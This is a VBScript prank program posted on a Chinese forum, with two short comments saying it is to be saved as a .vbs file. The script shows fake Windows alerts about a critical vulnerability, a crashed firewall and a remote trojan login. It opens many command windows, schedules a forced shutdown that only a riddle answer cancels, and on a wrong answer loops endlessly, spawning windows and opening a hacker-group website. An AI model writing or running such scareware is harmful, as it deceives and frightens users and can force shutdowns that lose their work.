Set ob = WScript.CreateObject( "Wscript.Shell" ) |
wscript.sleep 10000 |
ob.popup "系统检测到此计算机存在Windows IE HTML高危溢出漏洞" ,, "系统医生" |
wscript.sleep 100 |
ob.popup "点击确定进行修复" ,, "修复" |
ob.popup "修复过程中请勿中途退出,否则计算机将自动奔溃!" ,, "提示" |
wscript.sleep 30000 |
ob.popup "恭喜你,高危漏洞修复成功!" ,, "修复成功" |
wscript.sleep 60000 |
ob.popup "防火墙已奔溃!" ,, "危险警告!" |
wscript.sleep 10000 |
ob.popup "系统检测到有远程木马登录!" ,, "危险警告!" |
wscript.sleep 20000 |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
wscript.sleep 10000 |
ob.popup "接下来会有一个猜谜谜游戏,如果你解开了你的电脑将会恢复正常" ,, "信息" |
ob.popup "你将会有三分钟时间作答,两分钟过后将会给出相应的后果惩罚!祝你好运^_^" ,, "信息" |
ob.run "shutdown -s -t 200" |
do |
d=int(inputbox( "闻不入耳,猜一字(1.(门)2.(萌) 3.(盲) 4.(听) 输入数字" )) |
if d=1 then |
ob.run "shutdown -a" |
ob.popup "恭喜你回答正确!" ,, "正确" |
ob.popup "你的电脑已恢复正常!" ,, "恢复正常" |
exit do |
else |
ob.popup "很遗憾,你答错了,正确答案是:1" ,, "回答错误" |
wscript.sleep 1000*5 |
ob.popup "网络已断开连接..." |
ob.Run( "http://www.cnhonkerarmy.com/" ) |
do until i=3 |
i = i+1 |
msgbox "系统已奔溃!(建议你不要点击此弹窗超过3次)" ,, "警告" |
wscript.sleep 50000 |
ob.run "tree" |
ob.run "tree" |
ob.run "tree" |
ob.run "tree" |
ob.run "tree" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
ob.run "cmd" |
|
loop |
end if |
loop |
初级程序员
by: 小人物 发表于:2021-11-27 21:08:01 顶(1) | 踩(1) 回复
这个运行是要改成什么格式
网友回复
回复FN : VBS格式
顶(1) 踩(1) 2022-01-21 16:52:35
回复评论